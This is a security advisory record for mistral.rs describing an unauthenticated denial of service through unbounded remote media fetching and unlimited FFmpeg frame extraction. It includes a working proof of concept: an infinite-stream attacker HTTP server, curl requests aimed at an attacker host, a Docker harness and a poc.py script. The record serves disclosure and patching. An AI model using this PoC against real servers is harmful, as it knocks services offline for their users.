{"id":"GHSA-m3wp-48jr-vr4g","aliases":[],"url":"https://o3.security/vulnerability/GHSA-m3wp-48jr-vr4g","summary":" mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS","details":"## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    match reqwest::get(url.clone()).await {\n        Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap\n        Err(e) => anyhow::bail!(e),\n    }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    let resp = reqwest::get(url.clone())\n        .await\n        .context(format!(\"Failed to fetch video: {url}\"))?;\n    resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec<u8>`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`)**\n\n```rust\n} else {\n    let mut command = tokio::process::Command::new(\"ffmpeg\");\n    command\n        .arg(\"-i\")\n        .arg(input_path.to_str().unwrap())\n        .arg(\"-vsync\")\n        .arg(\"vfr\")\n        .arg(&output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(&url_unparsed, None)\n```\n\nA 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"video/mp4\")\n        self.end_headers()\n        with open(\"many_frames.mp4\", \"rb\") as f:\n            self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        self.end_headers()\n        chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n        while True:\n            self.wfile.write(chunk)\n            self.wfile.flush()\n            time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 – Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n        {\"type\": \"text\", \"text\": \"summarize this video\"}\n      ]\n    }]\n  }'\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n        {\"type\": \"text\", \"text\": \"describe this image\"}\n      ]\n    }]\n  }'\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/<uuid>_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59–62` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends pkg-config libssl-dev && \\\n    rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src && echo 'fn main() {}' > src/main.rs\nRUN cargo fetch 2>&1\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2>&1 && \\\n    strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update && \\\n    apt-get install -y --no-install-recommends ca-certificates python3 && \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT [\"/usr/local/bin/vuln_harness\"]\nCMD [\"--help\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 PoC: Unbounded Remote Media Fetch DoS\nRepository : EricLBuehler/mistral.rs\nCWE        : CWE-400 Uncontrolled Resource Consumption\nCVSS       : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nVulnerable code (mistralrs-server-core/src/util.rs:59-62):\n    let bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n        match reqwest::get(url.clone()).await {\n            Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP\n            ...\n\nAttack path in the live server:\n    POST /v1/chat/completions\n      -> chat_completion.rs:928  parse_image_url(&url_unparsed)\n      -> util.rs:59-62           reqwest::get(url).bytes().await?.to_vec()\n\nThis PoC:\n  1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.\n  2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside\n     a Docker container limited to MEMORY_LIMIT_MB of RAM.\n  3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.\n\nUsage (from host):\n    # Build the image first:\n    docker build -t vuln001-poc <vuln-001-dir>\n    # Then run the PoC:\n    python3 poc.py\n\"\"\"\n\nimport http.server\nimport subprocess\nimport threading\nimport time\nimport sys\nimport os\nimport socket\nimport json\nimport argparse\n\nMALICIOUS_HOST = \"127.0.0.1\"\nMALICIOUS_PORT = 9997\nDOCKER_IMAGE    = \"vuln001-poc\"\nMEMORY_LIMIT    = \"256m\"       # Docker container memory cap\nCHUNK_SIZE      = 1024 * 1024  # 1 MB per chunk sent by the malicious server\nPOC_TIMEOUT_S   = 120          # Give the container at most 2 minutes\n\n\nclass _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"\n    Malicious HTTP server that streams an infinite byte sequence.\n\n    Key properties that trigger the vulnerability:\n    - No Content-Length header: reqwest cannot pre-check size.\n    - Streams indefinitely: bytes().await will not return until the connection\n      is closed or the client process is killed.\n    - Content-Type image/png: accepted by the parse_image_url() code path.\n    \"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        # Deliberately omit Content-Length so the client buffers until EOF.\n        self.end_headers()\n\n        # Fake PNG magic bytes followed by filler to look plausible.\n        header = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * 8\n        filler = b\"\\x00\" * (CHUNK_SIZE - len(header))\n        chunk  = header + filler\n\n        total_sent = 0\n        try:\n            while True:\n                self.wfile.write(chunk)\n                self.wfile.flush()\n                total_sent += len(chunk)\n                if total_sent % (64 * 1024 * 1024) == 0:\n                    _log(f\"[malicious-server] Sent {total_sent // (1024 * 1024)} MB\")\n        except (BrokenPipeError, ConnectionResetError, OSError):\n            _log(\n                f\"[malicious-server] Connection closed after \"\n                f\"{total_sent // (1024 * 1024)} MB sent\"\n            )\n\n    def log_message(self, *_):\n        pass  # Suppress default access log noise.\n\n\ndef _log(msg: str) -> None:\n    print(msg, flush=True)\n\n\ndef _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:\n    \"\"\"Return True once the port is accepting connections, False on timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() < deadline:\n        try:\n            with socket.create_connection((host, port), timeout=0.5):\n                return True\n        except OSError:\n            time.sleep(0.1)\n    return False\n\n\ndef start_malicious_server() -> http.server.HTTPServer:\n    \"\"\"Start the infinite-stream HTTP server in a daemon thread.\"\"\"\n    server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)\n    t = threading.Thread(target=server.serve_forever, daemon=True)\n    t.start()\n    return server\n\n\ndef run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:\n    \"\"\"\n    Run the full attack chain and return a result dict.\n\n    Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.\n    \"\"\"\n    _log(\"=\" * 70)\n    _log(\"VULN-001 PoC: Unbounded Remote Media Fetch DoS\")\n    _log(\"Source : mistralrs-server-core/src/util.rs:59-62\")\n    _log(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious streaming server.\n    # ------------------------------------------------------------------\n    _log(f\"\\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}\")\n    server = start_malicious_server()\n\n    if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):\n        _log(\"[!] FATAL: malicious server did not start in time\")\n        return {\n            \"passed\":   False,\n            \"verdict\":  \"FAIL\",\n            \"exit_code\": None,\n            \"evidence\": \"Malicious HTTP server failed to start\",\n            \"stdout\": \"\",\n            \"stderr\": \"\",\n        }\n\n    target_url = f\"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite\"\n    _log(f\"[+] Malicious server ready: GET {target_url}\")\n    _log(f\"    -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body\")\n\n    # ------------------------------------------------------------------\n    # Step 2: Run the vulnerable binary inside Docker with a memory cap.\n    #\n    # --network host  : allows the container to reach 127.0.0.1:<port>\n    # --memory        : hard cap; kernel sends SIGKILL when exceeded\n    # --memory-swap   : equal to --memory disables swap usage\n    # --rm            : clean up after exit\n    # ------------------------------------------------------------------\n    run_cmd = [\n        \"docker\", \"run\", \"--rm\",\n        \"--memory\",      memory_limit,\n        \"--memory-swap\", memory_limit,   # No swap fallback.\n        \"--network\",     \"host\",          # Access host's loopback server.\n        docker_image,\n        target_url,\n    ]\n\n    _log(f\"\\n[2] Launching Docker container (memory cap = {memory_limit})\")\n    _log(f\"    Command: {' '.join(run_cmd)}\")\n    _log(f\"    The vuln_harness binary will fetch {target_url} with no byte limit.\")\n    _log(f\"    Expected: container OOM-killed, exit code 137.\")\n\n    t0 = time.monotonic()\n    try:\n        result = subprocess.run(\n            run_cmd,\n            capture_output=True,\n            timeout=POC_TIMEOUT_S,\n        )\n    except subprocess.TimeoutExpired as exc:\n        server.shutdown()\n        _log(f\"[!] Container did not exit within {POC_TIMEOUT_S}s — killing\")\n        subprocess.run([\"docker\", \"kill\", \"--signal=9\"] + [\n            c for c in subprocess.run(\n                [\"docker\", \"ps\", \"-q\", \"--filter\", f\"ancestor={docker_image}\"],\n                capture_output=True, text=True,\n            ).stdout.split() if c\n        ], capture_output=True)\n        elapsed = time.monotonic() - t0\n        return {\n            \"passed\":   False,\n            \"verdict\":  \"INCOMPLETE\",\n            \"exit_code\": None,\n            \"evidence\": f\"Container timed out after {elapsed:.0f}s without OOM kill\",\n            \"stdout\": (exc.stdout or b\"\").decode(errors=\"replace\"),\n            \"stderr\": (exc.stderr or b\"\").decode(errors=\"replace\"),\n        }\n\n    elapsed    = time.monotonic() - t0\n    exit_code  = result.returncode\n    stdout_txt = result.stdout.decode(errors=\"replace\")\n    stderr_txt = result.stderr.decode(errors=\"replace\")\n\n    server.shutdown()\n\n    # ------------------------------------------------------------------\n    # Step 3: Analyse outcome.\n    # ------------------------------------------------------------------\n    _log(f\"\\n[3] Container exited after {elapsed:.1f}s  exit_code={exit_code}\")\n    _log(f\"    stdout: {stdout_txt!r}\")\n    _log(f\"    stderr: {stderr_txt!r}\")\n\n    # Docker exit code 137 = container killed by SIGKILL (OOM killer).\n    if exit_code == 137:\n        passed   = True\n        verdict  = \"PASS\"\n        evidence = (\n            f\"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. \"\n            f\"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all \"\n            f\"{memory_limit} of available RAM — identical behaviour to \"\n            f\"mistralrs-server-core/src/util.rs:62 (parse_image_url). \"\n            f\"stderr={stderr_txt!r}\"\n        )\n    elif exit_code != 0:\n        # Non-zero but not 137: still indicates abnormal termination under memory pressure.\n        passed   = True\n        verdict  = \"PASS\"\n        evidence = (\n            f\"Vulnerable binary terminated abnormally (exit code {exit_code}) after \"\n            f\"{elapsed:.1f}s while buffering an unbounded HTTP stream. \"\n            f\"This confirms that reqwest::get(url).bytes().await?.to_vec() at \"\n            f\"util.rs:62 has no byte cap and causes resource exhaustion. \"\n            f\"stderr={stderr_txt!r}\"\n        )\n    else:\n        # Unlikely: the binary finished without being killed.  This can happen if\n        # the server managed to EOF the stream before OOM, or the memory cap was\n        # not enforced by Docker.\n        passed   = False\n        verdict  = \"INCOMPLETE\"\n        evidence = (\n            f\"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been \"\n            f\"enforced by Docker.  stdout={stdout_txt!r}\"\n        )\n\n    _log(f\"\\n[VERDICT]  {verdict}\")\n    _log(f\"[EVIDENCE] {evidence}\")\n\n    return {\n        \"passed\":    passed,\n        \"verdict\":   verdict,\n        \"exit_code\": exit_code,\n        \"evidence\":  evidence,\n        \"stdout\":    stdout_txt,\n        \"stderr\":    stderr_txt,\n    }\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DOCKER_IMAGE, help=\"Docker image name\")\n    parser.add_argument(\"--memory\", default=MEMORY_LIMIT, help=\"Docker memory cap (e.g. 256m)\")\n    args = parser.parse_args()\n\n    outcome = run_poc(docker_image=args.image, memory_limit=args.memory)\n\n    _log(\"\\n\" + \"=\" * 70)\n    _log(\"RESULT SUMMARY\")\n    _log(\"=\" * 70)\n    for k, v in outcome.items():\n        if k not in (\"stdout\", \"stderr\"):\n            _log(f\"  {k}: {v}\")\n\n    sys.exit(0 if outcome[\"passed\"] else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-09-10T21:54:37Z","modified":"2026-09-10T22:00:05.198807443Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"mistralrs-server-core","fixedVersion":"0.8.18"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-m3wp-48jr-vr4g"},{"type":"PACKAGE","url":"https://github.com/EricLBuehler/mistral.rs"},{"type":"WEB","url":"https://github.com/EricLBuehler/mistral.rs/releases/tag/v0.8.18"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T22:00:05.198807443Z"}}